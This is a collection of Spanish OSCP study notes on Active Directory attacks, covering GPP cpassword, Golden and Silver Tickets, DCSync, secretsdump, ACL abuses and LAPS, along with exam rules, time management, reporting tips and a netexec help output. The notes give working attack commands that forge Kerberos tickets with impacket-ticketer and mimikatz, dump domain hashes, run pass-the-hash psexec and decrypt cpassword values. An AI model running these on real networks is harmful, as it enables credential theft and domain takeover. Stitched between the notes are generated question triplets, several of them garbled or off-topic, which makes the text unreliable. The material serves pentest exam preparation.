El TGS va cifrado con el hash de la cuenta de servicio (Kerberos). Si su password es débil → crackeo → credencial nueva → Movimiento lateral.

Relacionado: Cracking de contraseñas · AS-REP Roasting · Impacket · BloodHound · OSCP MOC

que programa me sirve para probar la fuerza de una contraseña con Kerberos?


cual es una herramienta para simular un crackeo de credenciales en entornos corporativos?


con que puedo realizar un ataque AS-REP Roasting contra un servicio?


conocimiento/05 - Active Directory/GPP cpassword.md

# GPP cpassword

> Group Policy Preferences que guardaban contraseñas cifradas con una **clave AES pública y fija** (Microsoft la publicó). Trivial de descifrar. Uno de los 7 caminos de Active Directory.

que programa sirve para desbloquear grupos de políticas con contraseñas


con que puedo leer contraseñas cifradas con AES público en Active Directory


cual es una herramienta para recuperar datos de GPP cpassword


## Dónde buscar
```
\\DC\SYSVOL\<dominio>\Policies\...\Groups.xml
```
Busca el atributo `cpassword` en `Groups.xml` (también en `Services.xml`, `ScheduledTasks.xml`, `Datasources.xml`).

como puedo buscar contraseñas de grupos guardadas en el registro?


que herramienta me sirve para extraer cpassword de Groups.xml?


cual es una alternativa libre a buscar atributos confidenciales en SYSVOL?


## Descifrar
```bash
gpp-decrypt 'CPASSWORD_AQUI'
```
- Accedes a SYSVOL vía SMB (a menudo con sesión nula o cualquier user de dominio).

que herramienta sirve para acceder al directorio SYSVOL mediante SMB?


cómo descifro el contenido del archivo CPASSWORD_AQUI?


con qué programa puedo entrar a un servidor usando sesión nula?


## Resultado
Credenciales en claro → Movimiento lateral / Pass-the-Hash.

Relacionado: SMB · OSCP MOC

¿qué herramientas sirven para hacer movimiento lateral con credenciales en claro?


con qué programa puedo aprovechar el ataque de pass-the-hash?


cual es una alternativa libre para realizar ataques de tipo pass-the-hash?


conocimiento/05 - Active Directory/Golden Ticket.md

# Golden Ticket

> Con el hash de **krbtgt** forjas tu propio TGT → eres **cualquiera** (incluso un Domain Admin inexistente), para siempre. Cima de Active Directory.

que herramienta sirve para forjar un TGT con el hash de krbtgt?


como puedo montar un dominio admin inexistente usando krbtgt?


cual es una alternativa libre a golden ticket en active directory?


## Requisito
Hash NTLM de la cuenta **krbtgt** → se obtiene con DCSync o secretsdump sobre el DC.

qué técnica sirve para obtener el hash NTLM de la cuenta krbtgt?


con qué herramienta puedo acceder a los secretos del dominio?


cómo puedo extraer credenciales de un controlador de dominio?


## Forjar
```bash
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@dc.corp.local
```
```

qué herramienta puedo usar para obtener credenciales de dominio con una hash KRBTGT?


cómo montaría un ataque de Golden Ticket contra mi dominio corporativo?


cual es la alternativa libre a impacket-ticketer para el ataque Golden Ticket?


# mimikatz equivalente:
kerberos::golden /user:Administrator /domain:corp.local /sid:S-... /krbtgt:HASH /ptt
```

que herramienta sirve para robar credenciales Kerberos en Windows?


con que puedo realizar un ataque de robo de tokens Kerberos?


existe alguna alternativa libre o legal al programa Mimikatz?


## Concepto
krbtgt firma **todos** los TGT (Kerberos). Si controlas su hash, firmas tickets válidos a voluntad → persistencia total.

Relacionado: Silver Ticket · DCSync · Pass-the-Hash · OSCP MOC

que programa me permite firmar todos los TGT de Kerberos para obtener persistencia total?


con que herramienta puedo generar un ticket válido a voluntad controlando el hash?


cual es una alternativa libre para realizar ataques tipo pass-the-hash sobre todos los tickets Kerberos?


conocimiento/05 - Active Directory/Silver Ticket.md

# Silver Ticket

> Forjas un **TGS** para **un servicio concreto** usando el hash NTLM de **esa cuenta de servicio** (no del krbtgt). Más sigiloso que el Golden Ticket: **no habla con el DC**. Fuente: oscp.trastero.org/activedirectory.

que herramienta sirve para forjar un Silver Ticket sin hablar con el DC?


con qué puedo crear un TGS usando el hash NTLM de una cuenta de servicio específica?


como montas un ataque Silver Ticket de forma más sigilosa que un Golden Ticket?


## Golden vs Silver
```
Golden Ticket → hash de krbtgt → TGT → CUALQUIER servicio del dominio (todopoderoso)
Silver Ticket → hash del servicio (ej. cuenta del SQL/CIFS) → TGS → SOLO ese servicio
```
El Silver no toca el KDC → casi indetectable, pero limitado al servicio.

con qué herramienta puedo robar tickets para acceder solo a un servidor específico sin tocar la KDC?


qué técnica me permite obtener acceso a servicios como SQL o CIFS usando hashes de cuentas específicas?


cual es una alternativa libre a herramientas que generan Silver Tickets para atacar servicios del dominio?


## Forjar
```bash
impacket-ticketer -nthash <HASH_SERVICIO> -domain-sid S-1-5-21-... \
  -domain corp.local -spn cifs/server.corp.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@server.corp.local
```
- El hash del servicio sale de Mimikatz / secretsdump (la cuenta de máquina o de servicio).
- `-spn` define a qué servicio aplica (`cifs/`, `mssql/`, `http/`, `host/`...).

Relacionado: Golden Ticket · Kerberos · Pass-the-Hash · OSCP MOC

que herramienta sirve para forjar tickets de servicio CIFS o MSSQL con un hash?


con que puedo crear un ticket de servicio para autenticarme como máquina sin contraseña?


cual es una alternativa libre a impacket-ticketer para montar tickets de servicio?


conocimiento/05 - Active Directory/Active Directory.md

# Active Directory (índice)

> El **set de AD = 40 puntos** del examen (3 máquinas encadenadas). Ver Estructura del examen.
> Idea clave: tu Kali no tiene GUI central; cada tool (Impacket, Mimikatz, BloodHound) habla por red con la víctima. Ver Puesto de mando Kali.

que programa o herramienta me sirve para interactuar con Active Directory sin interfaz gráfica desde una máquina atacante?


con qué puedo conectar Impacket y Mimikatz entre máquinas para realizar un ataque de cadena en Active Directory?


cual es la mejor técnica para hablar por red con el objetivo si no tengo una GUI central para controlar las herramientas de AD?


## La cadena de ataque típica
```
1) RCE en web → Reverse shell en USER1
2) PEASS-ng → privesc → SYSTEM en USER1   (Privesc Windows / Potato attacks)
3) Mimikatz → hash NTLM de un usuario de dominio
4) BloodHound → ¿camino a Domain Admin?
5) Pass-the-Hash / Impacket → shell en SERVER2  (Movimiento lateral)
6) si SERVER2 = DC → secretsdump → toda la BD del dominio
7) hash de krbtgt → Golden Ticket → dios
```

con que puedo simular un movimiento lateral desde una máquina comprometida hacia el servidor de dominio?


cual es una herramienta para extraer hashes NTLM o credentials de un usuario de dominio?


que programa sirve para generar tickets golden ticket sin acceso físico a la máquina?


## Los 7 caminos que SIEMPRE pruebas
1. **Anonymous SMB** → SMB (`smbclient -L //IP -N`, `nxc smb IP -u "" -p ""`)
2. **AS-REP Roasting** → AS-REP Roasting
3. **Kerberoasting** → Kerberoasting
4. **GPP cpassword** → GPP cpassword
5. **LAPS** → LAPS
6. **ACL abuses** → ACL abuses (te los pinta BloodHound)
7. **DCSync** → DCSync

que herramientas puedo usar para robar credenciales de dominio sin contraseña?


con qué programa puedo obtener permisos de administrador en un servidor Windows?


cual es una alternativa libre a BloodHound para mapear las relaciones de permisos de red?


## Conceptos
- Kerberos (TGT/TGS) · Pass-the-Hash · Golden Ticket · Silver Ticket
- Crackear los tickets → Cracking de contraseñas
- Entrar a la red interna → Pivoting ligolo-ng / Tunneling

que programa sirve para crucear hashes y robar credenciales?


cual es una alternativa libre a cracklear los tickets Kerberos?


que herramienta puedo usar para montar un tunnel hacia la red interna?


## Herramientas
NetExec/CrackMapExec, BloodHound, Rubeus, Kerbrute, Responder, Evil-WinRM, Impacket → Herramientas (índice).

Relacionado: OSCP MOC

que herramienta sirve para escanear vulnerabilidades en redes Windows?


cual es una alternativa libre a CrackMapExec?


con que puedo montar un ataque de fuerza bruta contra cuentas de dominio?


conocimiento/05 - Active Directory/ACL abuses.md

# ACL abuses

> Permisos mal configurados sobre objetos de AD que te dejan escalar. **BloodHound te los pinta** como aristas. Camino de Active Directory.

que herramienta sirve para ver el mapa de las relaciones entre usuarios y computadoras en una red?


cual es un programa que detecta permisos mal configurados en Active Directory?


con que puedo visualizar los posibles caminos de escalada dentro de un dominio?


## Las aristas peligrosas
```
GenericAll          → control total sobre el objeto
WriteDACL           → te das a ti mismo cualquier permiso
AddMember           → te metes en un grupo (ej. Domain Admins)
ForceChangePassword → cambias la pass de otro usuario sin saber la actual
GenericWrite        → modificar atributos (ej. añadir SPN → Kerberoasting dirigido)
```

que programa me permite forzar el cambio de contraseña de un usuario sin conocerla?


con que herramienta puedo escribir permisos en los objetos para obtener control total sobre ellos?


cual es una alternativa libre a las técnicas de Kerberoasting mediante modificación de atributos?


## Encadenado
Una arista lleva a otra → BloodHound calcula el **camino** hasta Domain Admins → puede acabar en DCSync.

Relacionado: BloodHound · LAPS · OSCP MOC

que programa puedo usar para mapear los enlaces entre usuarios y dominios


con que herramienta calculo el camino hasta los administradores de dominio


cual es un software libre para visualizar las relaciones de acceso en una red corporativa


conocimiento/05 - Active Directory/LAPS.md

# LAPS

> Local Administrator Password Solution: rota la pass del admin local y la guarda en un atributo del objeto-equipo en AD. Si tu usuario **puede leer ese atributo**, tienes el admin local. Camino de Active Directory.

que programa sirve para obtener las contraseñas locales de los equipos?


cual es una tecnica para robar la pass del administrador local?


como puedo acceder al usuario admin local si tengo permisos en Active Directory?


# o:
nxc ldap IP -u usuario -p password -M laps
```
- El atributo es `ms-Mcs-AdmPwd` (LAPS v1).

¿Qué programa puedo usar para gestionar las contraseñas locales de los servidores?


Necesito una herramienta que permita administrar el atributo ms-Mcs-AdmPwd en Windows.


¿Existe software gratuito para realizar la rotación automática de contraseñas en máquinas virtuales?


## Cómo saber quién puede leerlo
BloodHound muestra `ReadLAPSPassword` como arista → relacionado con ACL abuses.

que herramienta sirve para ver qué usuarios tienen permiso de lectura en Active Directory?


cual programa puedo usar para mapear las relaciones de acceso entre usuarios y máquinas?


con que puedo detectar abusos de control de acceso basados en permisos de lectura?


## Resultado
Password de admin local de esa máquina → Movimiento lateral / RDP.

Relacionado: BloodHound · OSCP MOC

que herramienta sirve para obtener el password de administrador local de una máquina?


con que puedo hacer un movimiento lateral usando RDP?


cual es una alternativa libre a BloodHound?


conocimiento/05 - Active Directory/Impacket.md

# Impacket

> Suite **Python que corre en TU Kali**. Habla los protocolos de Windows (SMB, RPC, Kerberos) sin ser Windows. Es como tener un "Windows hablante" en Kali.

Que programa puedo usar para entender los protocolos de Windows como SMB y Kerberos desde Linux?


Cuales son las herramientas de Python que me sirven para interactuar con sistemas Windows sin instalarlos?


Existe alguna suite que permita hablar con servicios como SMB o RPC ejecutando scripts en Kali?


## Los más útiles
```
impacket-psexec        → shell en la víctima si tienes creds (estilo PsExec)
impacket-wmiexec       → ejecutar comandos sin tocar disco
impacket-smbexec       → otra ejecución remota
impacket-secretsdump   → vuelca NTDS.dit y SAM de un DC en remoto → secretsdump
impacket-GetUserSPNs   → Kerberoasting
impacket-GetNPUsers    → AS-REP Roasting
impacket-getTGT        → pide/forja un TGT con cred conocida
impacket-getST         → pide un service ticket
impacket-smbserver     → share SMB falso para exfiltrar a Kali (Transferencia de ficheros)
impacket-ntlmrelayx    → relay NTLM
impacket-ticketer      → forja tickets → Golden Ticket
```

¿hay herramientas para robar contraseñas o tickets remotos?


con qué puedo forjar un ticket de servicio sin permisos?


que programa sirve para exfiltrar datos a través de shares SMB falsos?


## Lateral con hash (sin reverse shell nueva)
```bash
impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20'
```
Shell SYSTEM en otra máquina, autenticado y limpio → Pass-the-Hash, Movimiento lateral.

Relacionado: Mimikatz · Active Directory · OSCP MOC

cual es una alternativa libre a impacket para realizar movimientos laterales con pass-the-hash?


que programa puedo usar para obtener un shell system autentico sin reverse shell?


con que herramienta puedo ejecutar psexec autenticado solo con el hash NTLM?


conocimiento/05 - Active Directory/Kerberos.md

# Kerberos

> El protocolo de autenticación de Active Directory. Entender TGT vs TGS desbloquea media AD.

que programa sirve para entender la diferencia entre TGT y TGS en Active Directory


con que puedo aprender sobre el protocolo Kerberos y sus tickets


cual es una herramienta para desbloquear conceptos básicos de autenticación en dominio


## En 30 segundos
```
Usuario --(¿pwd?)--> KDC (Domain Controller)
Usuario <--(TGT: "carnet maestro")-- KDC
Usuario --(TGT + "quiero \\fileSrv")--> KDC
Usuario <--(TGS: ticket para fileSrv)-- KDC
Usuario --(TGS)--> fileServer  "este ticket prueba que soy yo"
```

¿Qué programa permite acceder a un servidor de archivos sin contraseñas?


Con qué herramienta puedo probar la autenticación de un usuario en una red?


¿Cómo verifico si tengo un acceso seguro a un servicio específico?


## Conceptos
- **TGT** = carnet maestro del KDC. Lo guarda el cliente.
- **TGS** = ticket de un servicio concreto.
- **krbtgt** = la cuenta que **firma TODOS los TGT**.

que programa me permite gestionar las cuentas krbtgt?


cual es una herramienta para administrar tickets KDC y TGS?


con que puedo ver o manipular el carnet maestro del KDC?


## Por qué importa (los ataques)
- Reutilizar un TGT/TGS válido = **pass-the-ticket**.
- Pedir TGS de cuentas con SPN sin tenerlas = Kerberoasting.
- Usuarios sin pre-auth = AS-REP Roasting.
- Hash de **krbtgt** = forjar Golden Ticket (ser cualquiera, para siempre).

Relacionado: Impacket · Mimikatz · OSCP MOC

¿Qué programa sirve para forjar un Golden Ticket?


Con qué puedo montar un ataque de tipo pass-the-ticket?


Cual es una herramienta para generar un Golden Ticket usando el hash del krbtgt?


conocimiento/05 - Active Directory/secretsdump.md

# secretsdump (NTDS.dit / SAM)

> `impacket-secretsdump` vuelca **todos los hashes** del dominio (NTDS.dit) o de una máquina (SAM/SYSTEM), en remoto o desde ficheros. Parte de Impacket.

que herramienta puedo usar para extraer todos los hashes del dominio?


cual es el programa para volcar hashes de NTDS.dit y SAM remotamente?


## Remoto contra un DC
```bash
impacket-secretsdump dominio/usuario:password@DC_IP
impacket-secretsdump -hashes :NTLMHASH dominio/admin@DC_IP   # con Pass-the-Hash
```
Saca NTLM de **todos** los usuarios + el hash de **krbtgt** → Golden Ticket.

que herramienta sirve para sacar los hashes de todos los usuarios de un dominio?


con que puedo extraer el hash de krbtgt y crear un golden ticket?


cual es una alternativa libre a impacket-secretsdump para sacar NTLM de un DC?


# exfiltras ntds.dit + SYSTEM con Transferencia de ficheros, luego:
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
```

que programa sirve para extraer credenciales del sistema local después de copiar el archivo ntds.dit?


cual es una herramienta para realizar un descargue de contraseñas desde el sistema operativo local?


## SAM local de una máquina
```bash
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
```

con qué programa puedo extraer credenciales del registro SAM local?


qué herramienta me sirve para descargar el SAM desde un sistema remoto?


cuál es una alternativa libre a impacket para hacer un dump de la cuenta local?


## Cómo se obtienen permisos
- Ser admin del DC, o derechos de replicación → DCSync.

Relacionado: Mimikatz · Active Directory · OSCP MOC

que herramienta me sirve para obtener el permiso DCSync en Active Directory?


con qué puedo replicar los permisos de administrador del dominio?


cual es una alternativa a Mimikatz para extraer credenciales de un servidor?


conocimiento/05 - Active Directory/DCSync.md

# DCSync

> Con permisos de **replicación de directorio** (DS-Replication-Get-Changes), pides al DC que te "replique" los hashes **como si fueras otro DC**. No necesitas pisar el DC.

que programa puedo usar para obtener réplicas del directorio sin estar físicamente en el dominio?


con qué herramienta puedo pedir cambios de replicación al controlador de dominios desde fuera?


cual es una alternativa a DCSync para hacer clics de replicación sin conexión directa?


## Cómo se llega
- Un usuario con esos derechos (te lo dice BloodHound: arista `DCSync` / `GetChangesAll`).
- O un ACL abuses que te conceda esos derechos.

con qué herramienta puedo obtener los permisos necesarios para ver el árbol de confianza completo?


qué programa me permite identificar si hay privilegios abusivos sobre mis derechos administrativos?


## Ataque
```bash
impacket-secretsdump dominio/usuario:password@DC_IP   # → ver secretsdump
```
```

que herramienta puedo usar para descargar contraseñas de una máquina Windows?


con que programa puedo extraer credenciales de un dominio específico?


cual es una alternativa libre a secretsdump para recuperar passwords?


# o desde mimikatz en una máquina del dominio:
lsadump::dcsync /user:Administrator
lsadump::dcsync /user:krbtgt        # ← el premio gordo
```

qué herramienta sirve para descargar claves de servicio Active Directory en Windows?


con qué puedo robar credenciales del controlador de dominio mediante dcsync?


que programa permite acceder al usuario krbtgt sin permisos administrativos?


## Por qué importa
El hash de **krbtgt** → Golden Ticket = control total y persistente del dominio.

Relacionado: Mimikatz · Impacket · Active Directory · OSCP MOC

¿Qué herramienta puedo usar para generar un Golden Ticket?


Con qué programa puedo obtener control total y persistente de un dominio AD?


conocimiento/07 - Referencia/Recursos públicos.md

# Recursos públicos

> Dónde está SÍ todo esto (cultura pública, nada bajo NDA). Apoyo para Metodología OSCP y el Reporte OSCP.

| Recurso | Por qué importa |
|---|---|
| **TJ Null's OSCP-like list** (Reddit) | Máquinas HTB/THM equivalentes a OSCP, actualizada |
| **ippsec.rocks** | Buscador de writeups por técnica ("kerberoasting" → te lista las máquinas) |
| **0xdf.gitlab.io** | Writeups detalladísimos y pedagógicos |
| **PayloadsAllTheThings** | Cheatsheet de todo lo web (SQL injection, LFI a RCE, uploads) |
| **HackTricks** (book.hacktricks.xyz) | La biblia: lo busques lo que busques, está |
| **GTFOBins / LOLBAS** | Privesc Linux y LOLBins Windows → GTFOBins y LOLBAS |
| **/r/oscp** | Experiencias de examinados (sin spoilers) |
| **Discords públicos**: HTB, TryHackMe, NetSecFocus | Comunidades que SÍ puedes consultar |
| **noraj/OSCP-Exam-Report-Template-Markdown** | Plantilla del Reporte OSCP |

> Compilado de cultura pública (TJ Null, ippsec, 0xdf, Heath Adams, /r/oscp, HackTricks, foros HTB). **No** es material bajo NDA de OffSec.

Relacionado: un laboratorio · OSCP MOC

con que puedo buscar máquinas similares a las de OSCP sin tener el examen


hay algún sitio público con writeups detallados para aprender ciberseguridad?


dónde encuentro una lista completa de vulnerabilidades web o exploits para practicar?


conocimiento/07 - Referencia/Herramientas (índice).md

## En Kali (corren en tu atacante)
| Tool | Para qué | Nota |
|---|---|---|
| Impacket | suite de protocolos Windows | Impacket |
| NetExec / CrackMapExec | barrido y post-explotación AD | SMB, Pass-the-Hash |
| BloodHound | grafo de AD | BloodHound |
| Responder | envenena LLMNR/NBT-NS/MDNS → captura hashes | Client-side attacks |
| Evil-WinRM | shell WinRM (5985) | Movimiento lateral |
| ligolo-ng / chisel | pivoting/túnel | Pivoting ligolo-ng, Tunneling |
| Kerbrute | enum de usuarios + spraying Kerberos | AS-REP Roasting |
| Rubeus | operaciones con tickets Kerberos | Kerberoasting, Silver Ticket |
| hashcat / john | cracking offline | Cracking de contraseñas |

qué herramientas sirven para hacer un barrido y post-explotación en redes Active Directory?


con qué programa puedo generar tickets falsos o robar credenciales Kerberos desde el lado del cliente?


cuáles son las mejores opciones gratuitas para capturar hashes mediante LLMNR/NBT-NS y realizar ataques de envenenamiento a dominios?


## Las que SUBES a la víctima Windows
| Tool | Para qué | Nota |
|---|---|---|
| winPEAS | enumeración de privesc | PEASS-ng |
| PowerUp / PrivescCheck / Sherlock | privesc PowerShell | Privesc Windows |
| mimikatz | volcar credenciales de LSASS | Mimikatz |
| SysInternals (accesschk, PsExec) | permisos, ejecución | Privesc Windows |
| Nishang | PowerShell ofensivo (shells) | Reverse shell |
| Potato (God/Print/Juicy) | abuso de token → SYSTEM | Potato attacks |

que herramienta sirve para volcar las credenciales del sistema en Windows?


con que puedo hacer el ataque de abuse de tokens para obtener permisos SYSTEM?


cual es una alternativa libre para enumerar privilegios o ejecutar comandos con permisos elevados en Windows?


## En la víctima Linux
| Tool | Para qué | Nota |
|---|---|---|
| linPEAS / LinEnum / LES / lse | enumeración de privesc | Privesc Linux |
| pspy | espía procesos/cron sin root | Privesc Linux |

Relacionado: searchsploit · Recursos públicos · OSCP MOC

qué herramientas me sirven para hacer enumeración de privilegios en Linux


con qué puedo obtener información sobre los procesos activos sin tener root


que programa sirve para espionar cron jobs o procesos en un sistema Linux


conocimiento/00 - Metodologia/Reglas de herramientas.md

# Reglas de herramientas (examen)

> Qué puedes y qué no puedes usar en el examen OSCP.

qué herramienta sirve para practicar las reglas de uso en el examen OSCP


con que puedo montar un entorno simulado del examen OSCP


## ✅ Permitido
- Nmap + NSE, `enum4linux`, `smbclient`, `rpcclient`, NetExec/CrackMapExec (SMB).
- Mimikatz, Impacket, BloodHound, Pivoting ligolo-ng.
- `nikto`, `whatweb`, searchsploit, `hydra`, gobuster/feroxbuster/ffuf (Content discovery).
- Burp Suite Community (proxy manual; el scanner activo está prohibido, pero no lo necesitas).
- **Tus propios scripts** (copy-paste permitido).

¿qué herramientas sirven para descubrir servicios y vulnerabilidades en un servidor?


con qué puedo escanear contenido web y buscar información sensible?


hay alguna alternativa libre a los scanners de Burp Suite para pruebas manuales?


## ⛔ Prohibido
- **Metasploit / Meterpreter → solo en UNA máquina.**
  - Solo el **foothold inicial** cuenta como "uso"; post-explotación con meterpreter NO cuenta.
- Explotación automática: `sqlmap` en modo auto, autopwn.
- Escáneres de vulnerabilidades masivos: **Nessus, OpenVAS, Nexpose, Core Impact**.
- IA durante el examen.

que herramientas permiten usar Metasploit solo para obtener un acceso inicial en una sola máquina?


con qué programas puedo realizar escaneos de vulnerabilidades sin que se consideren masivos ni automáticos?


qué alternativas a sqlmap o Nessus me sirven para hacer pruebas de penetración manuales?


## Nota práctica
Nessus se aprende para el **trabajo real** (es estándar), pero en el examen se replica a mano:
```
nmap -sV  →  searchsploit  →  nmap --script vuln / nikto
```

Relacionado: Estructura del examen · Metodología OSCP · OSCP MOC

qué herramientas se usan para hacer un análisis de vulnerabilidades en el trabajo real


con qué programas se replica un ataque simulando una respuesta a exploits


conocimiento/00 - Metodologia/Gestión del tiempo.md

# Gestión del tiempo

> 24h ≠ 24h. **Duermes 6h. Comes. Te duchas.** El cerebro fresco resuelve; el cansado entra en rabbit-holes.

que programa me ayuda a gestionar mejor mis horas de sueño y descanso?


cómo puedo programar mi día para que el tiempo de vigilia sea más productivo?


qué herramienta sirve para optimizar la energía mental durante el día?


## Reglas
- **1.5h sin progreso = cambia de máquina.** Cierra, vuelve más tarde con cabeza fresca.
- Empieza por el **set de AD** (40 pts) con tiempo → ver Estructura del examen.
- Saca **todos los `user`** antes de pelear un root concreto.
- Vigila el Egress filtering pronto: descubrir tarde que un puerto está bloqueado cuesta horas.

¿Qué técnica ayuda a saber si voy a avanzar en un ataque por la fuerza bruta?


¿Cómo puedo asegurarme de no quedarme atascado esperando que alguien me dé una contraseña?


¿Qué método sirve para identificar rápidamente los usuarios válidos antes de intentar entrar como administrador?


## Documentación en vivo
- Captura **TODO** mientras lo haces (Flameshot/Greenshot), **no al final** — al final no recuerdas el comando exacto.
- Cada flag con hostname visible. Ver Reporte OSCP.

qué herramienta sirve para capturar todo en pantalla mientras trabajo?


hay alguna alternativa gratuita a Flameshot o Greenshot?


## Anti rabbit-hole
- Enumeración exhaustiva primero, luego un vector a la vez → Trampas de enumeración.
- Si un vector "tiene que funcionar" y llevas 1h, probablemente es un señuelo.

Relacionado: Metodología OSCP · OSCP MOC

cual es una metodologia para atacar uno en vez de muchos a la vez?


como puedo saber si el vector que estoy usando es real o una trampa?


que herramientas me ayudan a hacer enumeracion exhaustiva primero?


conocimiento/00 - Metodologia/Estructura del examen.md

## Composición
- **Set de Active Directory = 40 puntos seguidos.**
  - 3 máquinas **encadenadas**. Si te atascas en la máquina 1, no avanzas a 2 y 3.
  - **Empieza por aquí con tiempo.** Es todo-o-nada por cadena.
  - Ver Active Directory para el flujo completo.
- **3 standalones independientes**, 20 pts cada una.
  - `user` (10 pt = `local.txt`) + `root/system` (10 pt = `proof.txt`).
  - **Saca el `user` de las 3 ANTES** de obsesionarte con el root de una.

que programa sirve para hackear Active Directory en cadena?


con que puedo montar un ataque de todo-o-nada en Active Directory?


que herramienta es mejor para obtener el privilegio root sin bloquear la máquina?


## Pruebas (flags)
- `local.txt` = prueba de usuario.
- `proof.txt` = prueba de root/SYSTEM.
- Cada flag con el **hostname visible** (`ipconfig` / `ifconfig`) en la captura.

que herramienta sirve para extraer los hostnames visibles de un archivo de texto?


con que puedo filtrar y mostrar solo las líneas que contienen información de red como ipconfig o ifconfig?


cual es una alternativa libre a scripts complejos para analizar logs y buscar patrones específicos en archivos?


## Anti-pánico
- Ver Gestión del tiempo y Trampas de enumeración.
- Sin Reporte OSCP **no apruebas**, aunque saques 100 puntos técnicos.

Relacionado: Metodología OSCP · Reglas de herramientas · OSCP MOC

que programa sirve para la gestión del tiempo y las trampas de enumeración


cual es una alternativa libre a los programas que se usan en el reporte OSCP


con que puedo montar un estudio de penetración sin tener el reporte oficial


conocimiento/00 - Metodologia/Metodología OSCP.md

# Metodología OSCP

> El truco real del OSCP no es saber 200 técnicas, es tener una **metodología repetible**.
> La gente suspende por **saltarse pasos** o por **obsesionarse con un vector**, no por desconocimiento técnico.

que metodología hay para resolver certificaciones de seguridad paso a paso


con que puedo estructurar mis ataques de manera repetible y ordenada


cual es la mejor forma de organizar las técnicas sin perder el hilo


## El bucle
```
Enumeración exhaustiva → vector → foothold →
PrivEsc con script automatizado + revisión manual →
documentar antes de pasar a la siguiente máquina
```

que herramienta me permite hacer una enumeración exhaustiva de usuarios?


con que programa puedo escalar privilegios automáticamente revisando mis scripts manualmente?


cual es un software para documentar las vulnerabilidades antes de moverme a otra máquina?


## Pasos
1. **Enumera a fondo** → Enumeración (no asumas nada, mira Puertos olvidados).
2. **Encuentra el vector** → web (Enumeración web, SQL injection, LFI a RCE, File upload bypass) o servicio.
3. **Foothold** → Reverse shell estabilizada (Estabilizar shell TTY).
4. **Privesc** → script automatizado (PEASS-ng) **+** revisión manual (Privesc Linux / Privesc Windows).
5. **Loot y pivot** → Mimikatz, Movimiento lateral, Active Directory.
6. **Documenta EN VIVO** → Reporte OSCP.

que herramienta me ayuda a encontrar puertos olvidados en la red?


cual es un script automatizado para realizar privesc y escalar privilegios?


## Reglas de oro
- **Reutiliza credenciales** siempre: una pass de un user suele valer en otros hosts y servicios.
- **1.5h sin progreso = cambia de máquina** (ver Gestión del tiempo).
- Captura todo mientras lo haces, no al final.

Relacionado: Estructura del examen · Reglas de herramientas · OSCP MOC

qué programa me permite reutilizar credenciales en diferentes servicios


cuál es la mejor herramienta para capturar todo lo que hago mientras trabajo


conocimiento/00 - Metodologia/Reporte OSCP.md

## Qué necesitas capturar EN VIVO
- Cada comando exacto (no lo recordarás al final).
- Cada flag con el **hostname visible** en la misma captura (`ipconfig`/`ifconfig`).
- `local.txt` (user) y `proof.txt` (root/SYSTEM) de cada máquina.
- Pasos reproducibles: alguien debe poder repetir tu intrusión leyendo el reporte.

qué herramienta me sirve para capturar comandos en vivo junto con las configuraciones de red?


con qué programa puedo grabar archivos locales específicos desde diferentes usuarios y privilegios de sistema?


necesito una técnica para documentar pasos reproducibles que incluyan la captura directa del hostname visible.


## Plantilla
- Markdown: `noraj/OSCP-Exam-Report-Template-Markdown`
  → https://github.com/noraj/OSCP-Exam-Report-Template-Markdown

cual es una herramienta para generar reportes de exámenes OSCP en formato markdown?


que programa puedo usar para crear un informe estructurado de mi examen OSCP?


con que genero los informes finales del examen OSCP


## Flujo recomendado
1. Documenta **antes** de pasar a la siguiente máquina (Metodología OSCP).
2. Una carpeta por host con capturas + comandos.
3. Al acabar, montas el reporte sobre esas notas.

Relacionado: Estructura del examen · Gestión del tiempo · Recursos públicos · OSCP MOC

que programa hay para documentar antes de pasar a la siguiente máquina en un examen OSCP?


con que puedo organizar capturas y comandos por host para montar un reporte?


cual es una herramienta para estructurar las notas de penetración del examen OSCP?


# netexec — manual

Salida de `netexec --help`, capturada de la propia herramienta. Referencia completa de opciones (las invocaciones del dia a dia estan en el cheatsheet de comandos).

```
usage: netexec [-h] [--version] [-t THREADS] [--timeout TIMEOUT]
               [--jitter INTERVAL] [--no-progress] [--log LOG]
               [--verbose | --debug] [-6] [--dns-server DNS_SERVER]
               [--dns-tcp] [--dns-timeout DNS_TIMEOUT]
               {smb,ftp,ldap,mssql,winrm,nfs,ssh,wmi,vnc,rdp} ...

     .   .
    .|   |.     _   _          _     _____
    ||   ||    | \ | |   ___  | |_  | ____| __  __   ___    ___
    \\( )//    |  \| |  / _ \ | __| |  _|   \ \/ /  / _ \  / __|
    .=[ ]=.    | |\  | |  __/ | |_  | |___   >  <  |  __/ | (__
   / /˙-˙\ \   |_| \_|  \___|  \__| |_____| /_/\_\  \___|  \___|
   ˙ \   / ˙
     ˙   ˙

    The network execution tool
    Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx

    For documentation and usage examples, visit: https://www.netexec.wiki/

    Version : 1.5.1
    Codename: Yippie-Ki-Yay
    Commit  : 515dccee

que programa sirve para ejecutar comandos en varios servidores a la vez desde una sola consola?


con que herramienta puedo probar múltiples servicios de red como SMB, SSH o FTP de forma rápida?


existe alguna alternativa libre a los scripts antiguos de enumeración de redes para automatizar pruebas?


options:
  -h, --help            show this help message and exit
  --verbose             enable verbose output
  --debug               enable debug level information

Generic Options:
  --version             Display nxc version
  -t THREADS, --threads THREADS
                        set how many concurrent threads to use
  --timeout TIMEOUT     max timeout in seconds of each thread
  --jitter INTERVAL     sets a random delay between each authentication

Output Options:
  --no-progress         do not displaying progress bar during scan
  --log LOG             export result into a custom file

DNS:
  -6                    Enable force IPv6
  --dns-server DNS_SERVER
                        Specify DNS server (default: Use hosts file & System DNS)
  --dns-tcp             Use TCP instead of UDP for DNS queries
  --dns-timeout DNS_TIMEOUT
                        DNS query timeout in seconds

hay alguna herramienta para hacer scans de seguridad con múltiples hilos?


con qué programa puedo realizar peticiones DNS personalizadas o configurar su propio servidor?


Available Protocols:
  {smb,ftp,ldap,mssql,winrm,nfs,ssh,wmi,vnc,rdp}
    smb                 own stuff using SMB
    ftp                 own stuff using FTP
    ldap                own stuff using LDAP
    mssql               own stuff using MSSQL
    winrm               own stuff using WINRM
    nfs                 own stuff using NFS
    ssh                 own stuff using SSH
    wmi                 own stuff using WMI
    vnc                 own stuff using VNC
